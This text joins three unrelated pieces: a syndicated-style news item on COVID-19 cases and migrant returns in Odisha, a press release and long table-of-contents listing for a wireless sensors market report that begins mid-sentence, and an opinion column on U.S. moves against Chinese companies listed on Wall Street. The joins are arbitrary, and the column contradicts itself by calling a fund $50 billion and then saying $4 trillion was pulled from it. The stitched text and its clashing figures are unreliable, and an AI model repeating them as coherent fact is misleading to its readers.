Of the 86 new cases, 80 were reported from quarantine centres in various parts of the state, an official said.

The fresh cases were mostly people from Odisha who had returned from Maharastra, Gujarat, West Bengal, Tamil Nadu, Chhattishgarh, Haryana, Telangana and four from United Arab Emirates, the official said.

Of the fresh 86 cases, Jajpur recorded the maximum number of 46 cases, followed by Cuttack at 11, Nayagarh at six and Ganjam at five. Three cases each were reported from Balasore, Bhadrak, Keonjhar, Khurda and Puri, and one from Sundergarh district, the department said.

Meanwhile, as many as 43 COVID-19 patients have recovered and were discharged from hospitals. The number of people cured were from Angul (15), eight each from Ganjam, Jajpur and Rourkela and one each from Puri, Kendrapara, Cuttack and Boudh.

Taking the new cases and recovery of patients, the number of active cases in the state now stands at 746. So far 436 people have recovered from the disease while seven people have died of the viral infection.

As many as 5,014 samples were tested for COVID-19 on Thursday. The number of samples examined so far has climbed to 1,13,466, an official of the department said.

Dr Jayant Panda, the spokesperson of the health and welfare department, said on Friday that Odisha's tally may surpass 10,000 by the end of June.

"Keeping in view the spurt in COVID-19 cases in the state with the return of migrants from other parts of the country, the tally is likely to surpass 10,000 by June-end," he said.

An official release said that under "Atmanirbhar Bharat Economic" measures, the state government has decided to distribute free of cost rice and 'chana' to the stranded migrant workers without having a ration card.

Under this, 5 kg of rice per person per month and 1 kg 'chana' per household per month will be distributed for two months (May and June-2020), the release said.

Meanwhile, as many as 9,474 people from Odisha stranded in different parts of the country on Friday returned to the state, taking the total number of such returnees to 2,23,847 since May 3.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
driven by a compounded growth of 19. 6%. Bluetooth, one of the segments analyzed and sized in this study, displays the potential to grow at over 22. 4%. The shifting dynamics supporting this growth makes it critical for businesses in this space to keep abreast of the changing pulse of the market.

New York, May 21, 2020 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Global Wireless Sensors Industry" - https://www.reportlinker.com/p05817678/?utm_source=GNW

Poised to reach over US$4.6 Billion by the year 2025, Bluetooth will bring in healthy gains adding significant momentum to global growth.



- Representing the developed world, the United States will maintain a 18% growth momentum. Within Europe, which continues to remain an important element in the world economy, Germany will add over US$396.7 Million to the regions size and clout in the next 5 to 6 years. Over US$336.2 Million worth of projected demand in the region will come from Rest of Europe markets. In Japan, Bluetooth will reach a market size of US$225.9 Million by the close of the analysis period. As the worlds second largest economy and the new game changer in global markets, China exhibits the potential to grow at 23.3% over the next couple of years and add approximately US$2 Billion in terms of addressable opportunity for the picking by aspiring businesses and their astute leaders. Presented in visually rich graphics are these and many more need-to-know quantitative data important in ensuring quality of strategy decisions, be it entry into new markets or allocation of resources within a portfolio. Several macroeconomic factors and internal market forces will shape growth and development of demand patterns in emerging countries in Asia-Pacific, Latin America and the Middle East. All research viewpoints presented are based on validated engagements from influencers in the market, whose opinions supersede all other research methodologies.





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WIRELESS SENSORS MCP-1

MARKET ANALYSIS, TRENDS, AND FORECASTS, MAY 2

CONTENTS



I. INTRODUCTION, METHODOLOGY & REPORT SCOPE





II. EXECUTIVE SUMMARY



1. MARKET OVERVIEW

Global Competitor Market Shares Wireless Sensors Competitor Market Share Scenario Worldwide (in %): 2019 & 2028 Impact of Covid-19 and a Looming Global Recession

2. FOCUS ON SELECT PLAYERS 3. MARKET TRENDS & DRIVERS 4. GLOBAL MARKET PERSPECTIVE

Table 1: Wireless Sensors Global Market Estimates and Forecasts in US$ Million by Region/Country: 2020-2027 Table 2: Wireless Sensors Global Retrospective Market Scenario in US$ Million by Region/Country: 2012-2019 Table 3: Wireless Sensors Market Share Shift across Key Geographies Worldwide: 2012 VS 2020 VS 2027 Table 4: Bluetooth (Technology) World Market by Region/Country in US$ Million: 2020 to 2027 Table 5: Bluetooth (Technology) Historic Market Analysis by Region/Country in US$ Million: 2012 to 2019 Table 6: Bluetooth (Technology) Market Share Breakdown of Worldwide Sales by Region/Country: 2012 VS 2020 VS 2027 Table 7: WiFi & WLAN (Technology) Potential Growth Markets Worldwide in US$ Million: 2020 to 2027 Table 8: WiFi & WLAN (Technology) Historic Market Perspective by Region/Country in US$ Million: 2012 to 2019 Table 9: WiFi & WLAN (Technology) Market Sales Breakdown by Region/Country in Percentage: 2012 VS 2020 VS 2027 Table 10: Zigbee (Technology) Geographic Market Spread Worldwide in US$ Million: 2020 to 2027 Table 11: Zigbee (Technology) Region Wise Breakdown of Global Historic Demand in US$ Million: 2012 to 2019 Table 12: Zigbee (Technology) Market Share Distribution in Percentage by Region/Country: 2012 VS 2020 VS 2027 Table 13: WirelessHART (Technology) World Market Estimates and Forecasts by Region/Country in US$ Million: 2020 to 2027 Table 14: WirelessHART (Technology) Market Historic Review by Region/Country in US$ Million: 2012 to 2019 Table 15: WirelessHART (Technology) Market Share Breakdown by Region/Country: 2012 VS 2020 VS 2027 Table 16: Other Technologies (Technology) World Market by Region/Country in US$ Million: 2020 to 2027 Table 17: Other Technologies (Technology) Historic Market Analysis by Region/Country in US$ Million: 2012 to 2019 Table 18: Other Technologies (Technology) Market Share Distribution in Percentage by Region/Country: 2012 VS 2020 VS 2027 Table 19: Industrial (End-Use) Sales Estimates and Forecasts in US$ Million by Region/Country for the Years 2020 through 2027 Table 20: Industrial (End-Use) Analysis of Historic Sales in US$ Million by Region/Country for the Years 2012 to 2019 Table 21: Industrial (End-Use) Global Market Share Distribution by Region/Country for 2012, 2020, and 2027 Table 22: Medical (End-Use) Global Opportunity Assessment in US$ Million by Region/Country: 2020-2027 Table 23: Medical (End-Use) Historic Sales Analysis in US$ Million by Region/Country: 2012-2019 Table 24: Medical (End-Use) Percentage Share Breakdown of Global Sales by Region/Country: 2012 VS 2020 VS 2027 Table 25: Energy (End-Use) Worldwide Sales in US$ Million by Region/Country: 2020-2027 Table 26: Energy (End-Use) Historic Demand Patterns in US$ Million by Region/Country: 2012-2019 Table 27: Energy (End-Use) Market Share Shift across Key Geographies: 2012 VS 2020 VS 2027 Table 28: Defense (End-Use) Global Market Estimates & Forecasts in US$ Million by Region/Country: 2020-2027 Table 29: Defense (End-Use) Retrospective Demand Analysis in US$ Million by Region/Country: 2012-2019 Table 30: Defense (End-Use) Market Share Breakdown by Region/Country: 2012 VS 2020 VS 2027 Table 31: Agriculture (End-Use) Demand Potential Worldwide in US$ Million by Region/Country: 2020-2027 Table 32: Agriculture (End-Use) Historic Sales Analysis in US$ Million by Region/Country: 2012-2019 Table 33: Agriculture (End-Use) Share Breakdown Review by Region/Country: 2012 VS 2020 VS 2027 Table 34: Other End-Uses (End-Use) Worldwide Latent Demand Forecasts in US$ Million by Region/Country: 2020-2027 Table 35: Other End-Uses (End-Use) Global Historic Analysis in US$ Million by Region/Country: 2012-2019 Table 36: Other End-Uses (End-Use) Distribution of Global Sales by Region/Country: 2012 VS 2020 VS 2027

III. MARKET ANALYSIS

GEOGRAPHIC MARKET ANALYSIS UNITED STATES Market Facts & Figures US Wireless Sensors Market Share (in %) by Company: 2019 & 2025 Market Analytics Table 37: Wireless Sensors Market in US$ Million in the United States by Technology: 2020-2027 Table 38: United States Wireless Sensors Market Retrospective Analysis in US$ Million by Technology: 2012-2019 Table 39: United States Wireless Sensors Market Share Breakdown by Technology: 2012 VS 2020 VS 2027 Table 40: United States Wireless Sensors Latent Demand Forecasts in US$ Million by End-Use: 2020 to 2027 Table 41: Wireless Sensors Historic Demand Patterns in the United States by End-Use in US$ Million for 2012-2019 Table 42: Wireless Sensors Market Share Breakdown in the United States by End-Use: 2012 VS 2020 VS 2027 CANADA Table 43: Wireless Sensors Market Analysis in Canada in US$ Million by Technology: 2020-2027 Table 44: Wireless Sensors Market in Canada: Historic Review in US$ Million by Technology for the Period 2012-2019 Table 45: Canadian Wireless Sensors Market Share Breakdown by Technology: 2012 VS 2020 VS 2027 Table 46: Canadian Wireless Sensors Market Quantitative Demand Analysis in US$ Million by End-Use: 2020 to 2027 Table 47: Wireless Sensors Market in Canada: Summarization of Historic Demand Patterns in US$ Million by End-Use for 2012-2019 Table 48: Canadian Wireless Sensors Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 JAPAN Table 49: Japanese Medium & Long-Term Outlook for Wireless Sensors Market in US$ Million by Technology: 2020-2027 Table 50: Wireless Sensors Market in Japan in US$ Million by Technology: 2012-2019 Table 51: Japanese Wireless Sensors Market Percentage Share Distribution by Technology: 2012 VS 2020 VS 2027 Table 52: Japanese Demand Estimates and Forecasts for Wireless Sensors in US$ Million by End-Use: 2020 to 2027 Table 53: Japanese Wireless Sensors Market in US$ Million by End-Use: 2012-2019 Table 54: Wireless Sensors Market Share Shift in Japan by End-Use: 2012 VS 2020 VS 2027 CHINA Table 55: Wireless Sensors Market Estimates and Forecasts in China in US$ Million by Technology: 2020-2027 Table 56: Chinese Wireless Sensors Retrospective Market Scenario in US$ Million by Technology: 2012-2019 Table 57: Wireless Sensors Market in China: Percentage Share Analysis by Technology for 2012, 2020, and 2027 Table 58: Chinese Demand for Wireless Sensors in US$ Million by End-Use: 2020 to 2027 Table 59: Wireless Sensors Market Review in China in US$ Million by End-Use: 2012-2019 Table 60: Chinese Wireless Sensors Market Share Breakdown by End-Use: 2012 VS 2020 VS 2027 EUROPE Market Facts & Figures European Wireless Sensors Market: Competitor Market Share Scenario (in %) for 2019 & 2025 Market Analytics Table 61: European Wireless Sensors Market Demand Scenario in US$ Million by Region/Country: 2020-2027 Table 62: Wireless Sensors Market in Europe: A Historic Market Perspective in US$ Million by Region/Country for the Period 2012-2019 Table 63: European Wireless Sensors Market Share Shift by Region/Country: 2012 VS 2020 VS 2027 Table 64: European Wireless Sensors Market Assessment in US$ Million by Technology: 2020-2027 Table 65: European Wireless Sensors Historic Market Review in US$ Million by Technology: 2012-2019 Table 66: Wireless Sensors Market in Europe: Percentage Breakdown of Salesby Technology for 2012, 2020, and 2027 Table 67: European Wireless Sensors Addressable Market Opportunity in US$ Million by End-Use: 2020-2027 Table 68: Wireless Sensors Market in Europe: Summarization of Historic Demand in US$ Million by End-Use for the Period 2012-2019 Table 69: European Wireless Sensors Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 FRANCE Table 70: French Wireless Sensors Market Estimates and Projections in US$ Million by Technology: 2020-2027 Table 71: French Wireless Sensors Historic Market Analysis in US$ Million by Technology: 2012-2019 Table 72: French Wireless Sensors Market Share Breakdown by Technology: 2012 VS 2020 VS 2027 Table 73: Wireless Sensors Quantitative Demand Analysis in France in US$ Million by End-Use: 2020-2027 Table 74: French Wireless Sensors Historic Market Review in US$ Million by End-Use: 2012-2019 Table 75: French Wireless Sensors Market Share Analysis: A 17-Year Perspective by End-Use for 2012, 2020, and 2027 GERMANY Table 76: German Wireless Sensors Latent Demand Forecasts in US$ Million by Technology: 2020-2027 Table 77: Wireless Sensors Market in Germany: A Historic Perspective by Technology in US$ Million for the Period 2012-2019 Table 78: German Wireless Sensors Market Share Breakdown by Technology: 2012 VS 2020 VS 2027 Table 79: Wireless Sensors Market in Germany: Annual Sales Estimates and Forecasts in US$ Million by End-Use for the Period 2020-2027 Table 80: German Wireless Sensors Market in Retrospect in US$ Million by End-Use: 2012-2019 Table 81: Wireless Sensors Market Share Distribution in Germany by End-Use: 2012 VS 2020 VS 2027 ITALY Table 82: Wireless Sensors Market Estimates and Forecasts in Italy in US$ Million by Technology: 2020-2027 Table 83: Italian Wireless Sensors Retrospective Market Scenario in US$ Million by Technology: 2012-2019 Table 84: Wireless Sensors Market in Italy: Percentage Share Analysis by Technology for 2012, 2020, and 2027 Table 85: Italian Demand for Wireless Sensors in US$ Million by End-Use: 2020 to 2027 Table 86: Wireless Sensors Market Review in Italy in US$ Million by End-Use: 2012-2019 Table 87: Italian Wireless Sensors Market Share Breakdown by End-Use: 2012 VS 2020 VS 2027 UNITED KINGDOM Table 88: United Kingdom Medium & Long-Term Outlook for Wireless Sensors Market in US$ Million by Technology: 2020-2027 Table 89: Wireless Sensors Market in the United Kingdom in US$ Million by Technology: 2012-2019 Table 90: United Kingdom Wireless Sensors Market Percentage Share Distribution by Technology: 2012 VS 2020 VS 2027 Table 91: United Kingdom Demand Estimates and Forecasts for Wireless Sensors in US$ Million by End-Use: 2020 to 2027 Table 92: United Kingdom Wireless Sensors Market in US$ Million by End-Use: 2012-2019 Table 93: Wireless Sensors Market Share Shift in the United Kingdom by End-Use: 2012 VS 2020 VS 2027 SPAIN Table 94: Wireless Sensors Market Analysis in Spain in US$ Million by Technology: 2020-2027 Table 95: Wireless Sensors Market in Spain: Historic Review in US$ Million by Technology for the Period 2012-2019 Table 96: Spanish Wireless Sensors Market Share Breakdown by Technology: 2012 VS 2020 VS 2027 Table 97: Spanish Wireless Sensors Market Quantitative Demand Analysis in US$ Million by End-Use: 2020 to 2027 Table 98: Wireless Sensors Market in Spain: Summarization of Historic Demand Patterns in US$ Million by End-Use for 2012-2019 Table 99: Spanish Wireless Sensors Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 RUSSIA Table 100: Wireless Sensors Market in US$ Million in Russia by Technology: 2020-2027 Table 101: Russian Wireless Sensors Market Retrospective Analysis in US$ Million by Technology: 2012-2019 Table 102: Russian Wireless Sensors Market Share Breakdown by Technology: 2012 VS 2020 VS 2027 Table 103: Russian Wireless Sensors Latent Demand Forecasts in US$ Million by End-Use: 2020 to 2027 Table 104: Wireless Sensors Historic Demand Patterns in Russia by End-Use in US$ Million for 2012-2019 Table 105: Wireless Sensors Market Share Breakdown in Russia by End-Use: 2012 VS 2020 VS 2027 REST OF EUROPE Table 106: Rest of Europe Wireless Sensors Market Assessment in US$ Million by Technology: 2020-2027 Table 107: Rest of Europe Wireless Sensors Historic Market Review in US$ Million by Technology: 2012-2019 Table 108: Wireless Sensors Market in Rest of Europe: Percentage Breakdown of Sales by Technology for 2012, 2020, and 2027 Table 109: Rest of Europe Wireless Sensors Addressable Market Opportunity in US$ Million by End-Use: 2020-2027 Table 110: Wireless Sensors Market in Rest of Europe: Summarization of Historic Demand in US$ Million by End-Use for the Period 2012-2019 Table 111: Rest of Europe Wireless Sensors Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 ASIA-PACIFIC Table 112: Asia-Pacific Wireless Sensors Market Estimates and Forecasts in US$ Million by Region/Country: 2020-2027 Table 113: Wireless Sensors Market in Asia-Pacific: Historic Market Analysis in US$ Million by Region/Country for the Period 2012-2019 Table 114: Asia-Pacific Wireless Sensors Market Share Analysis by Region/Country: 2012 VS 2020 VS 2027 Table 115: Asia-Pacific Wireless Sensors Market Estimates and Projections in US$ Million by Technology: 2020-2027 Table 116: Asia-Pacific Wireless Sensors Historic Market Analysis in US$ Million by Technology: 2012-2019 Table 117: Asia-Pacific Wireless Sensors Historic Market Analysis in US$ Million by Technology: 2012 VS 2020 VS 2027 Table 118: Wireless Sensors Quantitative Demand Analysis in Asia-Pacific in US$ Million by End-Use: 2020-2027 Table 119: Asia-Pacific Wireless Sensors Historic Market Review in US$ Million by End-Use: 2012-2019 Table 120: Asia-Pacific Wireless Sensors Market Share Analysis: A 17-Year Perspectiveby End-Use for 2012, 2020, and 2027 AUSTRALIA Table 121: Australian Wireless Sensors Latent Demand Forecasts in US$ Million by Technology: 2020-2027 Table 122: Wireless Sensors Market in Australia: A Historic Perspective by Technology in US$ Million for the Period 2012-2019 Table 123: Australian Wireless Sensors Market Share Breakdown by Technology: 2012 VS 2020 VS 2027 Table 124: Wireless Sensors Market in Australia: Annual Sales Estimates and Forecasts in US$ Million by End-Use for the Period 2020-2027 Table 125: Australian Wireless Sensors Market in Retrospect in US$ Million by End-Use: 2012-2019 Table 126: Wireless Sensors Market Share Distribution in Australia by End-Use: 2012 VS 2020 VS 2027 INDIA Table 127: Wireless Sensors Market Analysis in India in US$ Million by Technology: 2020-2027 Table 128: Wireless Sensors Market in India: Historic Review in US$ Million by Technology for the Period 2012-2019 Table 129: Indian Wireless Sensors Market Share Breakdown by Technology: 2012 VS 2020 VS 2027 Table 130: Indian Wireless Sensors Market Quantitative Demand Analysis in US$ Million by End-Use: 2020 to 2027 Table 131: Wireless Sensors Market in India: Summarization of Historic Demand Patterns in US$ Million by End-Use for 2012-2019 Table 132: Indian Wireless Sensors Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 SOUTH KOREA Table 133: Wireless Sensors Market in South Korea: Recent Past, Current and Future Analysis in US$ Million by Technology for the Period 2020-2027 Table 134: South Korean Wireless Sensors Historic Market Analysis in US$ Million by Technology: 2012-2019 Table 135: Wireless Sensors Market Share Distribution in South Korea by Technology: 2012 VS 2020 VS 2027 Table 136: Wireless Sensors Market in South Korea: Recent Past, Current and Future Analysis in US$ Million by End-Use for the Period 2020-2027 Table 137: South Korean Wireless Sensors Historic Market Analysis in US$ Million by End-Use: 2012-2019 Table 138: Wireless Sensors Market Share Distribution in South Korea by End-Use: 2012 VS 2020 VS 2027 REST OF ASIA-PACIFIC Table 139: Rest of Asia-Pacific Medium & Long-Term Outlook for Wireless Sensors Market in US$ Million by Technology: 2020-2027 Table 140: Wireless Sensors Market in Rest of Asia-Pacific in US$ Million by Technology: 2012-2019 Table 141: Rest of Asia-Pacific Wireless Sensors Market Percentage Share Distribution by Technology: 2012 VS 2020 VS 2027 Table 142: Rest of Asia-Pacific Demand Estimates and Forecasts for Wireless Sensors in US$ Million by End-Use: 2020 to 2027 Table 143: Rest of Asia-Pacific Wireless Sensors Market in US$ Million by End-Use: 2012-2019 Table 144: Wireless Sensors Market Share Shift in Rest of Asia-Pacific by End-Use: 2012 VS 2020 VS 2027 LATIN AMERICA Table 145: Latin American Wireless Sensors Market Trends by Region/Country in US$ Million: 2020-2027 Table 146: Wireless Sensors Market in Latin America in US$ Million by Region/Country: A Historic Perspective for the Period 2012-2019 Table 147: Latin American Wireless Sensors Market Percentage Breakdown of Sales by Region/Country: 2012, 2020, and 2027 Table 148: Wireless Sensors Market Estimates and Forecasts in Latin America in US$ Million by Technology: 2020-2027 Table 149: Latin American Wireless Sensors Retrospective Market Scenario in US$ Million by Technology: 2012-2019 Table 150: Wireless Sensors Market in Latin America : Percentage Analysisby Technology for 2012, 2020, and 2027 Table 151: Latin American Demand for Wireless Sensors in US$ Million by End-Use: 2020 to 2027 Table 152: Wireless Sensors Market Review in Latin America in US$ Million by End-Use: 2012-2019 Table 153: Latin American Wireless Sensors Market Share Breakdown by End-Use: 2012 VS 2020 VS 2027 ARGENTINA Table 154: Argentinean Wireless Sensors Market Assessment in US$ Million by Technology: 2020-2027 Table 155: Argentinean Wireless Sensors Historic Market Review in US$ Million by Technology: 2012-2019 Table 156: Wireless Sensors Market in Argentina: Percentage Breakdown of Sales by Technology for 2012, 2020, and 2027 Table 157: Argentinean Wireless Sensors Addressable Market Opportunity in US$ Million by End-Use: 2020-2027 Table 158: Wireless Sensors Market in Argentina: Summarization of Historic Demand in US$ Million by End-Use for the Period 2012-2019 Table 159: Argentinean Wireless Sensors Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 BRAZIL Table 160: Brazilian Wireless Sensors Market Estimates and Projections in US$ Million by Technology: 2020-2027 Table 161: Brazilian Wireless Sensors Historic Market Analysis in US$ Million by Technology: 2012-2019 Table 162: Brazilian Wireless Sensors Market Share Breakdown by Technology: 2012 VS 2020 VS 2027 Table 163: Wireless Sensors Quantitative Demand Analysis in Brazil in US$ Million by End-Use: 2020-2027 Table 164: Brazilian Wireless Sensors Historic Market Review in US$ Million by End-Use: 2012-2019 Table 165: Brazilian Wireless Sensors Market Share Analysis: A 17-Year Perspective by End-Use for 2012, 2020, and 2027 MEXICO Table 166: Mexican Wireless Sensors Latent Demand Forecasts in US$ Million by Technology: 2020-2027 Table 167: Wireless Sensors Market in Mexico: A Historic Perspective by Technology in US$ Million for the Period 2012-2019 Table 168: Mexican Wireless Sensors Market Share Breakdown by Technology: 2012 VS 2020 VS 2027 Table 169: Wireless Sensors Market in Mexico: Annual Sales Estimates and Forecasts in US$ Million by End-Use for the Period 2020-2027 Table 170: Mexican Wireless Sensors Market in Retrospect in US$ Million by End-Use: 2012-2019 Table 171: Wireless Sensors Market Share Distribution in Mexico by End-Use: 2012 VS 2020 VS 2027 REST OF LATIN AMERICA Table 172: Wireless Sensors Market in US$ Million in Rest of Latin America by Technology: 2020-2027 Table 173: Rest of Latin America Wireless Sensors Market Retrospective Analysis in US$ Million by Technology: 2012-2019 Table 174: Rest of Latin America Wireless Sensors Market Share Breakdown by Technology: 2012 VS 2020 VS 2027 Table 175: Rest of Latin America Wireless Sensors Latent Demand Forecasts in US$ Million by End-Use: 2020 to 2027 Table 176: Wireless Sensors Historic Demand Patterns in Rest of Latin America by End-Use in US$ Million for 2012-2019 Table 177: Wireless Sensors Market Share Breakdown in Rest of Latin America by End-Use: 2012 VS 2020 VS 2027 MIDDLE EAST Table 178: The Middle East Wireless Sensors Market Estimates and Forecasts in US$ Million by Region/Country: 2020-2027 Table 179: Wireless Sensors Market in the Middle East by Region/Country in US$ Million: 2012-2019 Table 180: The Middle East Wireless Sensors Market Share Breakdown by Region/Country: 2012, 2020, and 2027 Table 181: The Middle East Wireless Sensors Market Analysis in US$ Million by Technology: 2020-2027 Table 182: Wireless Sensors Market in the Middle East: Historic Review in US$ Million by Technology for the Period 2012-2019 Table 183: The Middle East Wireless Sensors Market Share Breakdown by Technology: 2012 VS 2020 VS 2027 Table 184: The Middle East Wireless Sensors Market Quantitative Demand Analysis in US$ Million by End-Use: 2020 to 2027 Table 185: Wireless Sensors Market in the Middle East: Summarization of Historic Demand Patterns in US$ Million by End-Use for 2012-2019 Table 186: The Middle East Wireless Sensors Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 IRAN Table 187: Iranian Medium & Long-Term Outlook for Wireless Sensors Market in US$ Million by Technology: 2020-2027 Table 188: Wireless Sensors Market in Iran in US$ Million by Technology: 2012-2019 Table 189: Iranian Wireless Sensors Market Percentage Share Distribution by Technology: 2012 VS 2020 VS 2027 Table 190: Iranian Demand Estimates and Forecasts for Wireless Sensors in US$ Million by End-Use: 2020 to 2027 Table 191: Iranian Wireless Sensors Market in US$ Million by End-Use: 2012-2019 Table 192: Wireless Sensors Market Share Shift in Iran by End-Use: 2012 VS 2020 VS 2027 ISRAEL Table 193: Israeli Wireless Sensors Market Assessment in US$ Million by Technology: 2020-2027 Table 194: Israeli Wireless Sensors Historic Market Review in US$ Million by Technology: 2012-2019 Table 195: Wireless Sensors Market in Israel: Percentage Breakdown of Sales by Technology for 2012, 2020, and 2027 Table 196: Israeli Wireless Sensors Addressable Market Opportunity in US$ Million by End-Use: 2020-2027 Table 197: Wireless Sensors Market in Israel: Summarization of Historic Demand in US$ Million by End-Use for the Period 2012-2019 Table 198: Israeli Wireless Sensors Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 SAUDI ARABIA Table 199: Wireless Sensors Market Estimates and Forecasts in Saudi Arabia in US$ Million by Technology: 2020-2027 Table 200: Saudi Arabian Wireless Sensors Retrospective Market Scenario in US$ Million by Technology: 2012-2019 Table 201: Wireless Sensors Market in Saudi Arabia: Percentage Share Analysis by Technology for 2012, 2020, and 2027 Table 202: Saudi Arabian Demand for Wireless Sensors in US$ Million by End-Use: 2020 to 2027 Table 203: Wireless Sensors Market Review in Saudi Arabia in US$ Million by End-Use: 2012-2019 Table 204: Saudi Arabian Wireless Sensors Market Share Breakdown by End-Use: 2012 VS 2020 VS 2027 UNITED ARAB EMIRATES Table 205: Wireless Sensors Market in the United Arab Emirates: Recent Past, Current and Future Analysis in US$ Million by Technology for the Period 2020-2027 Table 206: United Arab Emirates Wireless Sensors Historic Market Analysis in US$ Million by Technology: 2012-2019 Table 207: Wireless Sensors Market Share Distribution in United Arab Emirates by Technology: 2012 VS 2020 VS 2027 Table 208: Wireless Sensors Market in the United Arab Emirates: Recent Past, Current and Future Analysis in US$ Million by End-Use for the Period 2020-2027 Table 209: United Arab Emirates Wireless Sensors Historic Market Analysis in US$ Million by End-Use: 2012-2019 Table 210: Wireless Sensors Market Share Distribution in United Arab Emirates by End-Use: 2012 VS 2020 VS 2027 REST OF MIDDLE EAST Table 211: Rest of Middle East Wireless Sensors Latent Demand Forecasts in US$ Million by Technology: 2020-2027 Table 212: Wireless Sensors Market in Rest of Middle East: A Historic Perspective by Technology in US$ Million for the Period 2012-2019 Table 213: Rest of Middle East Wireless Sensors Market Share Breakdown by Technology: 2012 VS 2020 VS 2027 Table 214: Wireless Sensors Market in Rest of Middle East: Annual Sales Estimates and Forecasts in US$ Million by End-Use for the Period 2020-2027 Table 215: Rest of Middle East Wireless Sensors Market in Retrospect in US$ Million by End-Use: 2012-2019 Table 216: Wireless Sensors Market Share Distribution in Rest of Middle East by End-Use: 2012 VS 2020 VS 2027 AFRICA Table 217: Wireless Sensors Market in US$ Million in Africa by Technology: 2020-2027 Table 218: African Wireless Sensors Market Retrospective Analysis in US$ Million by Technology: 2012-2019 Table 219: African Wireless Sensors Market Share Breakdown by Technology: 2012 VS 2020 VS 2027 Table 220: African Wireless Sensors Latent Demand Forecasts in US$ Million by End-Use: 2020 to 2027 Table 221: Wireless Sensors Historic Demand Patterns in Africa by End-Use in US$ Million for 2012-2019 Table 222: Wireless Sensors Market Share Breakdown in Africa by End-Use: 2012 VS 2020 VS 2027

IV. COMPETITION



Total Companies Profiled: 64

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The American flag and Wall St. street sign outside the New York Stock Exchange, in New York, on June 27, 2014. (Mark Lennihan/AP Photo)

Trump Kicking Chinas Assets Off Wall Street

What was once a talking point is now a real threat to Beijing's access to US capital

Commentary

Over the past two decades or so, Chinese companies didnt have to worry about being regulated by Wall Street watchdogs. They were exempt from having to follow U.S. accounting standards and benefited from massive inflows of American capital. It was good business for both sides, but especially for China.

As it was, U.S. investment firms were falling all over each other to invest in Chinese companies. Chinese firms could literally just show up on Wall Street and get the VIP treatment. U.S. capital markets would end up funding Chinese companies that would soon be competing, if not destroying, their American competitors, while enriching the ruling members of the Chinese Communist Party (CCP) at the same time.

Free Ride to End for China

But with the CCPs initial handling of the epidemic, which allowed the virus to infect the world and is destroying the world economy, combined with rising geopolitical tensions between Beijing and Washington, the Trump administration is in no mood to give China a free ride any longer.

For instance, according to the U.S.China Economic Review Commission, as of February 2019, there were 156 Chinese companies with a total valuation of $1.2 trillion listed on U.S. exchanges. But more than 100 of them dont allow regulatory audits as required by the 2002 Sarbanes-Oxley Act (SOX).

Going forward, they will be required to do so.

The SOX Act was originally put in place to protect investors from the huge corporate fraud perpetrated by Enron, WorldCom, and many others, where stockholders lost mostif not allof their investments. Over the years, however, the same thing has happened to American investors investing in fraudulent Chinese Hustle companies listed on U.S. exchanges. Luckin Coffee is just one recent example. Some observers even contend that a significant majority of Chinese companies listed on American exchanges are fraudulent.

Clearly, Trumps insistence on asserting the right of U.S. regulators to audit Chinese companies is necessary in order to protect American investors capital. Without audits, U.S. regulators will have no idea if Chinese companies, their assets, profits, and management, or even their products, are real.

Its likely, however, to be a deal-breaker for most U.S.-listed Chinese companies. Theres no comparative regulatory system in China, so theres no absolute standard for accounting and other oversight mechanisms. But if Chinese firms dont comply with the new laws, they will be kicked off American exchanges.

In short, for years, Chinese companies have had a free ride and virtually unfettered access to U.S. capital markets and have abused that privilege.

Thats all about to change.

Alibaba to Exit NYSE?

In fact, President Donald Trump recently told Fox News Maria Bartiromo that he expected no less of a company than China-based internet retail giant Alibaba (the Chinese internet giant and parent company of the South China Morning Post) to leave Wall Street rather than follow SOX audit rules. Trump anticipates that Alibaba would likely seek to relocate to either London or Hong Kong.

It appears that Trump has set the policy tone going forward.

Just the Beginning

The $50 billion Federal Employees pension fund is a prime example. Trump recently convinced the I Funds managers at the Thrift Savings Plan to avoid or withdraw funding Chinese companies based on mainland China. That result is that $4 trillion worth of U.S. capital was pulled from Chinese companies in the fund alone.

But thats not the only example of Trumps crackdown on Chinese companies.

On May 12, the National Legal and Policy Center (NLPC) formally requested that BlackRock, the worlds largest investment advisor, divest from 137 Chinese companies currently listed on U.S. stock exchanges. In their letter addressed to Chairman and CEO Larry Fink, the NLPC pointed out that all of the companies are under the influence and ultimate control of the Communist Party of China.

Still, the Trump administration may push things even further. Its considering giving Americans the right to sue China for damages related to the CCP virus, commonly known as the novel coronavirus. That may include claims against China for loss of life, loss of property and business, and for human suffering. Travel sanctions and bans are on the table as well, as is restricting loans from U.S. lenders to China-based and China-owned businesses.

Following Trumps lead, the U.S. Senate is also cracking down. On May 20, the Senate passed the Holding Foreign Companies Accountable Act, which is intended to force Chinese companies to comply with all U.S. securities laws. Corporate transparency seems to the guiding principle, which as noted, is simply not a factor in Chinese business organization.

Clearly, the overall intention of these measures is to push China out of American capital markets in order to protect American investors and jobs, and punishing the CCP for its abusive capital and trade policies, as well as for its role in the pandemic, under which the world continues to suffer.

London (Not) Calling

But even London may not be such a great option for Chinese firm, because well before the CCP virus pandemic, tensions were high between London and Beijing over the Hong Kong crisis. Cracks in the LondonShanghai financial relationship have been widening for some time.

Whats more, at $2.4 trillion, the London exchange is only a fraction of Wall Streets more than $30 trillion valuation. Liquidity in London is, therefore, magnitudes lower than what Beijing is used to or requires. Furthermore, interest in Chinese currently remains comparatively low.

Chinese firms will likely find listing opportunities closer to home. Both the Hong Kong and Shanghai exchange investment climates are more attractive to Chinese companies, with greater liquidity and easier listing requirements than the London exchange.

But that option comes with risks as well. The more Beijing tightens the screws against Hong Kong, the less likely Western capital will be willing or available for Chinese firms in Shanghai markets.

Will Trump be successful in kicking Chinas assets off Wall Street?

Sen. Marco Rubio (R-Fla.) offers a clue: If Chinese companies want access to the U.S., they must comply with American laws and regulations for financial transparency and accountability.

If the current trend is any indicationand the president wins reelection in Novemberit looks like a real possibility.

James R. Gorrie is the author of The China Crisis (Wiley, 2013) and writes on his blog, TheBananaRepublican.com. He is based in Southern California.

Correction: An earlier version of this article misspelled the name of a firm. The correct spelling is BlackRock. The Epoch Times regrets the error.

